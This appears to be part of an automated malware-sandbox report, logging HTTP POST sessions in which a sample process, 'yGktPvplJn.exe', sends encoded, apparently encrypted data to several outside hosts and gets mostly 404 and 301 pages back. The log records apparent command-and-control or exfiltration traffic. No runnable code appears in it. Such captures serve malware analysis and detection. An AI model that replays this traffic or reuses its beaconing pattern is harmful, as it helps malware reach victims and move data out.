61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	52785	3.19.116.195	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.797606945 CEST	835	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pdqhomes.com Cache-Control: no-cache Data Raw: 50 41 4a 37 56 4d 31 73 31 56 52 52 71 2f 2b 71 52 43 65 6b 4e 49 61 71 4a 6a 4d 37 4a 4c 71 78 55 55 72 74 37 6f 53 50 63 77 6f 4f 44 4d 57 59 35 6e 59 79 33 70 38 48 53 54 75 5a 36 72 71 32 70 64 37 47 43 61 54 4b 47 79 4c 7a 61 6f 4b 34 6f 38 61 6b 65 57 49 37 4d 6a 4e 7a 6d 6d 72 70 61 50 77 6f 48 51 44 64 42 4b 47 63 45 4d 32 59 54 39 4f 4d 2f 66 62 55 62 77 6a 6a 6c 67 4b 41 4d 38 41 36 41 71 72 57 56 55 35 63 37 4b 5a 30 4e 69 76 6c 63 53 4d 6b 66 74 36 34 70 62 31 37 4a 66 42 30 42 4a 62 53 52 31 65 79 42 35 41 42 76 47 4c 34 37 4a 5a 45 57 45 6a 7a 79 6f 6b 39 45 35 34 33 4d 32 76 54 4b 45 67 6a 45 41 34 62 58 45 47 48 7a 71 44 30 77 48 55 64 36 47 55 61 44 48 6f 49 70 2b 62 77 49 33 68 4b 57 46 31 4a 76 78 54 30 65 78 4e 47 54 39 31 61 71 32 54 6b 35 67 37 4d 6c 6b 56 50 51 4f 4f 32 36 72 44 75 6b 57 33 69 35 75 59 6b 4b 44 2f 38 6c 47 30 2f 72 32 4e 70 76 4a 37 61 76 4e 49 59 39 30 77 36 6b 70 61 55 6f 46 6f 58 59 73 47 64 2b 37 69 46 73 6d 4a 38 4c 6b 78 69 54 69 6a 52 6a 53 52 6a 38 2f [TRUNCATED] Data Ascii: PAJ7VM1s1VRRq/+qRCekNIaqJjM7JLqxUUrt7oSPcwoODMWY5nYy3p8HSTuZ6rq2pd7GCaTKGyLzaoK4o8akeWI7MjNzmmrpaPwoHQDdBKGcEM2YT9OM/fbUbwjjlgKAM8A6AqrWVU5c7KZ0NivlcSMkft64pb17JfB0BJbSR1eyB5ABvGL47JZEWEjzyok9E543M2vTKEgjEA4bXEGHzqD0wHUd6GUaDHoIp+bwI3hKWF1JvxT0exNGT91aq2Tk5g7MlkVPQOO26rDukW3i5uYkKD/8lG0/r2NpvJ7avNIY90w6kpaUoFoXYsGd+7iFsmJ8LkxiTijRjSRj8/xAzBc8czFcNoHnkxQBZrjNwl3aJKC0duZz5/CZuXQcia4t86VVaVORFdOHkOWveNYbeaJTo1MTyARoWNu3dckllKhhvDc6KRalNfDMP6jfbO5EuaGO4xGFCzS/R8e5kl77MEvS5a+T4i7w76uS1R0XsZJ+shcBMAuo5hf+fU4BbBWcUzxec866uz+edMRSGwD2GGoUvGfvKYwQXh2X/ILtwF4VSwQjISVP5RDcFZaW9y1icnbcMH7rPJQMyMTRbV8WWYKd
Oct 25, 2024 11:18:06.451620102 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	52788	118.27.125.181	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.802490950 CEST	778	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pr-park.com Cache-Control: no-cache Data Raw: 61 56 78 78 34 66 6c 51 34 6c 54 64 37 57 64 42 69 45 61 42 6f 4a 49 62 53 62 76 58 75 62 42 65 50 58 76 71 2f 43 73 46 61 38 59 39 30 61 34 6a 46 46 4b 6c 46 4a 44 41 59 41 4a 49 39 55 71 4f 46 2f 52 75 6e 71 74 33 4f 46 32 49 64 32 50 35 49 4f 63 79 57 43 45 77 77 4e 50 6a 41 45 53 78 6d 45 78 67 50 65 78 48 58 61 75 50 36 43 47 7a 74 35 79 72 38 49 61 47 31 68 54 45 73 63 47 31 51 49 77 53 53 62 6a 6a 59 72 77 42 6c 48 63 53 50 59 33 58 57 73 5a 48 37 72 62 42 6b 55 74 50 35 50 49 59 37 7a 63 6d 61 30 4a 58 78 48 6d 6d 6c 7a 4f 31 7a 71 6c 76 2b 65 71 34 55 6c 34 2f 30 66 59 73 39 43 75 61 65 46 4b 63 65 59 7a 75 58 68 76 55 49 4a 7a 49 4c 47 73 33 4a 6b 2f 57 66 52 7a 56 78 5a 5a 69 36 32 65 35 6e 76 2f 58 37 76 69 51 63 70 49 61 62 67 4b 64 30 70 6a 2f 4a 6d 70 64 54 64 46 32 6d 59 73 32 4c 6e 4e 79 7a 2b 2b 47 76 65 62 47 79 32 67 52 55 57 79 54 54 71 42 65 56 76 49 4c 41 41 69 70 73 73 46 47 30 43 42 6e 2b 4f 5a 4e 78 6c 54 62 7a 68 64 66 54 6a 62 6e 50 74 70 55 7a 47 7a 49 59 69 4c 36 69 36 [TRUNCATED] Data Ascii: aVxx4flQ4lTd7WdBiEaBoJIbSbvXubBePXvq/CsFa8Y90a4jFFKlFJDAYAJI9UqOF/Runqt3OF2Id2P5IOcyWCEwwNPjAESxmExgPexHXauP6CGzt5yr8IaG1hTEscG1QIwSSbjjYrwBlHcSPY3XWsZH7rbBkUtP5PIY7zcma0JXxHmmlzO1zqlv+eq4Ul4/0fYs9CuaeFKceYzuXhvUIJzILGs3Jk/WfRzVxZZi62e5nv/X7viQcpIabgKd0pj/JmpdTdF2mYs2LnNyz++GvebGy2gRUWyTTqBeVvILAAipssFG0CBn+OZNxlTbzhdfTjbnPtpUzGzIYiL6i6GkSwnOT3Bgy3ORT6KRDuJjLm6Dl+XaJr80gnEA3OEklj4CwR5ydoA0TKTBbl99f2BvPk07KMGP3zeM99mrHNpASeaWQbPjdzAltjWyYEdk3ESqlC/YclU0Cbay1ePyx/W3cpoNJxv7pHB+yBmQXssi5HlrwDTdutDpod6sZGa4zcDWw4McZhpsg+ezx7ECyqZoD+yOpVbE6Q4=
Oct 25, 2024 11:18:06.693124056 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Content-Length: 19268 Connection: keep-alive Server: Apache Last-Modified: Fri, 13 May 2022 08:04:11 GMT Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Oct 25, 2024 11:18:06.693157911 CEST	1236	IN	Data Raw: 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 Data Ascii: font-weight: 600; line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center; -ms-flex-
Oct 25, 2024 11:18:06.693192959 CEST	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f 6e 2d 62 61 6c 6c 6f 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 Data Ascii: } } .lol-error-page__information-balloon { width: 100%; max-width: 620px; position: relative; display: inline-block; height: auto; padding: 20px; vertical-align: middle;
Oct 25, 2024 11:18:06.693228006 CEST	1236	IN	Data Raw: 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 61 64 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 00; line-height: 1.72; } .lol-error-page__ad { width: 100%; max-width: 620px; margin: 20px auto; } .lol-error-page__ad img { max-width: 468px; width: 100%; } .
Oct 25, 2024 11:18:06.693262100 CEST	1236	IN	Data Raw: 6f 72 2d 70 61 67 65 5f 5f 63 61 70 74 69 6f 6e 22 3e e3 81 8a e6 8e a2 e3 81 97 e3 81 ae e3 83 9a e3 83 bc e3 82 b8 e3 81 8c e8 a6 8b e3 81 a4 e3 81 8b e3 82 8a e3 81 be e3 81 9b e3 82 93 e3 81 a7 e3 81 97 e3 81 9f e3 80 82 3c 2f 70 3e 0a 20 20 Data Ascii: or-page__caption"></p> <div class="lol-error-page__information"> <div class="lol-error-page__information-img"> <svg xmlns="http://www.w3.org/2000/svg" w
Oct 25, 2024 11:18:06.693295956 CEST	1236	IN	Data Raw: 37 20 30 2d 33 2e 31 36 31 20 30 2d 31 2e 39 20 30 2d 33 2e 38 35 33 2d 2e 35 38 34 2d 34 2e 34 32 35 2d 2e 34 34 37 2d 2e 32 38 2d 2e 39 37 38 2d 2e 33 39 32 2d 31 2e 35 2d 2e 33 31 36 6c 2e 30 30 32 2d 2e 30 30 32 7a 6d 35 37 2e 33 2e 32 34 31 Data Ascii: 7 0-3.161 0-1.9 0-3.853-.584-4.425-.447-.28-.978-.392-1.5-.316l.002-.002zm57.3.241c-.488-.051-.979.066-1.392.331-.6.557-.614 2.528-.629 4.425 0 .993 0 2.062-.09 3.161-.037 1.055-.147 2.106-.329 3.146-.239 1.881-.479 3.823 0 4.515.514.396 1.153
Oct 25, 2024 11:18:06.693331957 CEST	1236	IN	Data Raw: 63 31 30 2e 38 33 34 20 30 20 32 30 2e 34 38 36 2d 38 2e 30 33 37 20 32 35 2e 30 35 31 2d 31 39 2e 34 31 35 2e 38 38 31 2e 34 32 32 20 31 2e 38 33 37 2e 36 36 32 20 32 2e 38 31 33 2e 37 30 37 68 2e 37 33 33 63 32 2e 35 37 36 2e 31 34 32 20 35 2e Data Ascii: c10.834 0 20.486-8.037 25.051-19.415.881.422 1.837.662 2.813.707h.733c2.576.142 5.006-1.201 6.255-3.458 1.144-2.399 1.746-5.019 1.766-7.676.265-2.556-.016-5.139-.823-7.578zm-62.16 14.494c-.516.39-1.154.583-1.8.542-1.444.307-2.918-.373-3.621-1.
Oct 25, 2024 11:18:06.693365097 CEST	1236	IN	Data Raw: 2e 39 35 34 20 33 30 2e 33 35 37 20 32 34 2e 30 36 33 20 33 30 2e 34 68 2e 31 35 63 31 33 2e 30 37 39 20 30 20 32 34 2e 31 38 33 2d 31 33 2e 38 20 32 34 2e 32 34 32 2d 33 30 2e 31 39 31 2e 30 31 33 2d 34 2e 33 38 37 2d 2e 38 33 36 2d 38 2e 37 33 Data Ascii: .954 30.357 24.063 30.4h.15c13.079 0 24.183-13.8 24.242-30.191.013-4.387-.836-8.734-2.5-12.793-12.225.407-26.935-2.694-34.342-10.43z"/><path fill="#f60" d="M39.256 44.625c-1.8 0-3.2 1.776-3.217 4.064-.017 2.288 1.392 4.079 3.172 4.094 1.78.015
Oct 25, 2024 11:18:06.693398952 CEST	1236	IN	Data Raw: 31 31 36 2d 2e 36 31 32 2e 31 31 39 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 45 42 45 39 22 20 64 3d 22 4d 35 32 2e 32 39 20 35 38 2e 39 30 38 6c 2d 32 2e 33 31 39 2d 32 2e 39 32 73 32 2e 33 39 34 2d 34 2e 32 35 39 20 32 2e 33 39 Data Ascii: 116-.612.119z"/><path fill="#FFEBE9" d="M52.29 58.908l-2.319-2.92s2.394-4.259 2.394-7.254"/><path fill="#f60" d="M52.365 60.714c-.548.001-1.066-.248-1.407-.677l-2.319-2.92c-.455-.579-.514-1.377-.15-2.017 1.141-1.931 1.865-4.079 2.125-6.306-.01
Oct 25, 2024 11:18:06.693432093 CEST	484	IN	Data Raw: 2d 2e 39 35 32 20 32 2e 35 33 38 2d 32 2e 30 39 34 20 35 2e 30 30 31 2d 33 2e 34 31 37 20 37 2e 33 36 37 6c 2d 2e 34 2e 36 38 31 2d 2e 37 33 20 31 2e 31 37 38 63 2d 2e 33 36 31 2e 36 2d 2e 37 33 39 20 31 2e 31 35 33 2d 31 2e 30 39 33 20 31 2e 36 Data Ascii: -.952 2.538-2.094 5.001-3.417 7.367l-.4.681-.73 1.178c-.361.6-.739 1.153-1.093 1.657l-.208.3c-.379.523-.731 1-1.084 1.448l-.447.542c-.335.411-.674.784-1 1.142-.74.789-1.536 1.524-2.381 2.2l-.273.218-9.572-.005zm5-10.2c-.405-.001-.801.124-1.133
Oct 25, 2024 11:18:06.838470936 CEST	1236	IN	Data Raw: 36 2d 2e 36 38 33 2e 34 38 32 2d 31 2e 30 30 31 20 31 2e 33 33 33 2d 2e 38 20 32 2e 31 34 35 2e 32 31 36 2e 38 39 32 20 31 2e 30 31 35 20 31 2e 35 32 20 31 2e 39 33 33 20 31 2e 35 32 2e 39 31 38 20 30 20 31 2e 37 31 37 2d 2e 36 32 38 20 31 2e 39 Data Ascii: 6-.683.482-1.001 1.333-.8 2.145.216.892 1.015 1.52 1.933 1.52.918 0 1.717-.628 1.933-1.52.201-.812-.117-1.663-.8-2.145-.332-.231-.727-.354-1.132-.353l-.001-.003zm0-9.427c-.742.001-1.422.415-1.763 1.074-.433.825-.244 1.839.456 2.453.692.608 1.7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	52789	34.218.204.173	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.803762913 CEST	910	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.wkhk.net Cache-Control: no-cache Cookie: snkz=173.254.250.81; btst=5da448966d54b464c4518e688cf48827\|173.254.250.81\|1729847852\|1729847852\|0\|1\|0 Data Raw: 71 76 44 34 58 39 35 73 35 6c 54 75 43 36 77 4b 4b 65 34 77 2f 63 48 4e 48 65 55 65 61 48 6b 4a 38 75 71 6e 38 4b 4a 53 53 72 73 48 45 35 55 59 31 55 56 5a 41 6b 2f 51 77 61 77 6f 67 33 41 4d 4c 77 79 62 6b 63 42 32 32 4b 46 37 69 36 58 59 69 50 36 36 70 36 73 4e 74 66 62 5a 44 59 55 6b 42 61 6a 41 36 77 31 79 4c 37 79 53 48 79 53 66 41 51 4f 58 62 68 53 4d 67 47 74 51 79 58 64 39 4c 49 39 70 75 43 65 74 36 75 52 6b 49 6d 79 41 56 79 57 43 30 73 56 2f 45 2b 6a 33 42 47 50 56 42 6c 72 52 6a 2f 70 6f 70 68 77 4a 42 7a 6a 69 42 46 6f 54 69 61 69 69 45 4c 34 4d 6e 38 7a 70 6c 4a 75 53 53 66 39 6a 61 4c 38 7a 35 39 32 6f 57 4b 48 6b 62 45 72 65 58 73 6b 53 33 33 71 6c 30 76 46 77 49 50 6b 33 66 70 69 62 4e 56 42 46 67 66 47 61 4c 63 55 67 79 4c 72 4a 68 79 71 68 65 2f 76 42 6d 4d 7a 4e 4b 78 37 51 52 55 58 6f 76 39 30 79 70 56 52 43 72 46 6a 6e 4a 4a 5a 4a 75 66 50 72 71 69 6f 42 58 57 30 77 54 43 69 5a 49 61 5a 48 6a 51 32 74 74 7a 2f 53 4d 59 7a 51 34 45 38 55 67 61 4e 46 63 51 47 78 56 6c 4d 4f 6d 34 [TRUNCATED] Data Ascii: qvD4X95s5lTuC6wKKe4w/cHNHeUeaHkJ8uqn8KJSSrsHE5UY1UVZAk/Qwawog3AMLwybkcB22KF7i6XYiP66p6sNtfbZDYUkBajA6w1yL7ySHySfAQOXbhSMgGtQyXd9LI9puCet6uRkImyAVyWC0sV/E+j3BGPVBlrRj/pophwJBzjiBFoTiaiiEL4Mn8zplJuSSf9jaL8z592oWKHkbEreXskS33ql0vFwIPk3fpibNVBFgfGaLcUgyLrJhyqhe/vBmMzNKx7QRUXov90ypVRCrFjnJJZJufPrqioBXW0wTCiZIaZHjQ2ttz/SMYzQ4E8UgaNFcQGxVlMOm41lYAU/oASbKz9Sxj5FPVEETQF5I2/GPBBa02xRNi/5CKOBWN7oeCCKG+DXCqshlBaLALSXYzWW+yDMrm3F4Ep8BkUI/e+YzkPy56rsBE/x/8u10753ncJNaAwrXl6JjsUtKV6do016LwFjaeb1Ixh4TxEacWMK9qvRYytUsVSvnbsCLHiAQTOLnjVpfYaLeWWTaldm1JvcBJF+5w7kgWuMFtdzWlR9LQjoZg==
Oct 25, 2024 11:18:06.636610985 CEST	580	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=; path=/; domain=.www.wkhk.net; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=; path=/; domain=www.wkhk.net; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=5da448966d54b464c4518e688cf48827\|173.254.250.81\|1729847886\|1729847852\|17\|2\|0; path=/; domain=.wkhk.net; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	52786	70.39.251.249	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.805840969 CEST	779	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.quadlock.com Cache-Control: no-cache Data Raw: 33 78 63 61 2f 46 62 65 32 6c 52 71 79 33 48 61 4d 59 47 49 64 76 6e 56 67 31 44 32 30 6d 58 79 36 6e 38 32 56 75 73 6b 4b 41 2f 4d 56 45 32 42 2b 6f 78 6d 55 49 33 33 2f 55 61 4a 66 65 76 75 66 4d 43 74 71 72 67 54 56 6a 50 48 54 63 37 75 54 2f 52 6d 4e 2b 57 72 62 30 77 30 69 61 6c 4c 6f 79 2f 42 6f 33 43 4c 42 37 66 71 68 62 43 43 50 75 4d 73 7a 56 75 57 64 6c 56 70 34 76 74 65 75 48 78 50 6c 46 64 68 64 79 36 61 71 4a 36 56 78 4e 50 70 38 6d 59 2f 76 57 76 52 66 55 4a 68 55 44 67 50 48 4d 54 43 4c 77 75 2f 65 6f 2b 55 36 2f 47 6d 49 71 73 77 41 4f 2f 50 50 43 35 56 58 6e 51 58 4e 46 5a 4b 43 65 68 6a 55 6d 55 50 5a 70 6e 42 56 6c 6a 41 5a 79 75 55 6b 4b 2b 57 4f 73 30 36 54 62 47 39 6e 63 6b 66 45 57 52 6d 4f 53 77 69 51 59 4d 6a 65 50 66 53 39 36 7a 75 58 59 41 69 51 41 6f 51 72 30 2f 6b 4c 4b 67 45 33 66 61 65 6c 73 57 37 69 45 56 2f 36 42 46 31 6f 53 68 78 79 54 68 4c 75 58 7a 62 64 4a 55 58 4a 52 6d 61 6c 58 31 6c 33 45 4c 45 4f 31 6b 56 68 42 61 63 54 75 69 64 70 68 6d 67 57 49 6b 31 63 68 [TRUNCATED] Data Ascii: 3xca/Fbe2lRqy3HaMYGIdvnVg1D20mXy6n82VuskKA/MVE2B+oxmUI33/UaJfevufMCtqrgTVjPHTc7uT/RmN+Wrb0w0ialLoy/Bo3CLB7fqhbCCPuMszVuWdlVp4vteuHxPlFdhdy6aqJ6VxNPp8mY/vWvRfUJhUDgPHMTCLwu/eo+U6/GmIqswAO/PPC5VXnQXNFZKCehjUmUPZpnBVljAZyuUkK+WOs06TbG9nckfEWRmOSwiQYMjePfS96zuXYAiQAoQr0/kLKgE3faelsW7iEV/6BF1oShxyThLuXzbdJUXJRmalX1l3ELEO1kVhBacTuidphmgWIk1chJzBlLJHJP1m5IbcSndJfdirw92xBxBBx69RbjkSmNomziWck7hWpXeZRYvrIzEiInC9CL5WOEZAbLCIMneaYDwJFDQChDWS6672RGWHhCkIFF6bfcl57s7vgRyZZJ/YCY6vL+m0Gr9FS4WBhy0Nn9r8ynKoUb1a+l4PAPD2htRN4Bw27HfyPtIul81lMkNG91IKF65NbG7Yg==
Oct 25, 2024 11:18:06.458923101 CEST	661	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:06 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Location: https://www.quadlock.com/ Cache-Control: max-age=86400 Expires: Sat, 26 Oct 2024 09:18:06 GMT Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 71 75 61 64 6c 6f 63 6b 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.quadlock.com/">here</a>.</p></body></html>
Oct 25, 2024 11:18:06.479743958 CEST	779	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.quadlock.com Cache-Control: no-cache Data Raw: 33 78 63 61 2f 46 62 65 32 6c 52 71 79 33 48 61 4d 59 47 49 64 76 6e 56 67 31 44 32 30 6d 58 79 36 6e 38 32 56 75 73 6b 4b 41 2f 4d 56 45 32 42 2b 6f 78 6d 55 49 33 33 2f 55 61 4a 66 65 76 75 66 4d 43 74 71 72 67 54 56 6a 50 48 54 63 37 75 54 2f 52 6d 4e 2b 57 72 62 30 77 30 69 61 6c 4c 6f 79 2f 42 6f 33 43 4c 42 37 66 71 68 62 43 43 50 75 4d 73 7a 56 75 57 64 6c 56 70 34 76 74 65 75 48 78 50 6c 46 64 68 64 79 36 61 71 4a 36 56 78 4e 50 70 38 6d 59 2f 76 57 76 52 66 55 4a 68 55 44 67 50 48 4d 54 43 4c 77 75 2f 65 6f 2b 55 36 2f 47 6d 49 71 73 77 41 4f 2f 50 50 43 35 56 58 6e 51 58 4e 46 5a 4b 43 65 68 6a 55 6d 55 50 5a 70 6e 42 56 6c 6a 41 5a 79 75 55 6b 4b 2b 57 4f 73 30 36 54 62 47 39 6e 63 6b 66 45 57 52 6d 4f 53 77 69 51 59 4d 6a 65 50 66 53 39 36 7a 75 58 59 41 69 51 41 6f 51 72 30 2f 6b 4c 4b 67 45 33 66 61 65 6c 73 57 37 69 45 56 2f 36 42 46 31 6f 53 68 78 79 54 68 4c 75 58 7a 62 64 4a 55 58 4a 52 6d 61 6c 58 31 6c 33 45 4c 45 4f 31 6b 56 68 42 61 63 54 75 69 64 70 68 6d 67 57 49 6b 31 63 68 [TRUNCATED] Data Ascii: 3xca/Fbe2lRqy3HaMYGIdvnVg1D20mXy6n82VuskKA/MVE2B+oxmUI33/UaJfevufMCtqrgTVjPHTc7uT/RmN+Wrb0w0ialLoy/Bo3CLB7fqhbCCPuMszVuWdlVp4vteuHxPlFdhdy6aqJ6VxNPp8mY/vWvRfUJhUDgPHMTCLwu/eo+U6/GmIqswAO/PPC5VXnQXNFZKCehjUmUPZpnBVljAZyuUkK+WOs06TbG9nckfEWRmOSwiQYMjePfS96zuXYAiQAoQr0/kLKgE3faelsW7iEV/6BF1oShxyThLuXzbdJUXJRmalX1l3ELEO1kVhBacTuidphmgWIk1chJzBlLJHJP1m5IbcSndJfdirw92xBxBBx69RbjkSmNomziWck7hWpXeZRYvrIzEiInC9CL5WOEZAbLCIMneaYDwJFDQChDWS6672RGWHhCkIFF6bfcl57s7vgRyZZJ/YCY6vL+m0Gr9FS4WBhy0Nn9r8ynKoUb1a+l4PAPD2htRN4Bw27HfyPtIul81lMkNG91IKF65NbG7Yg==
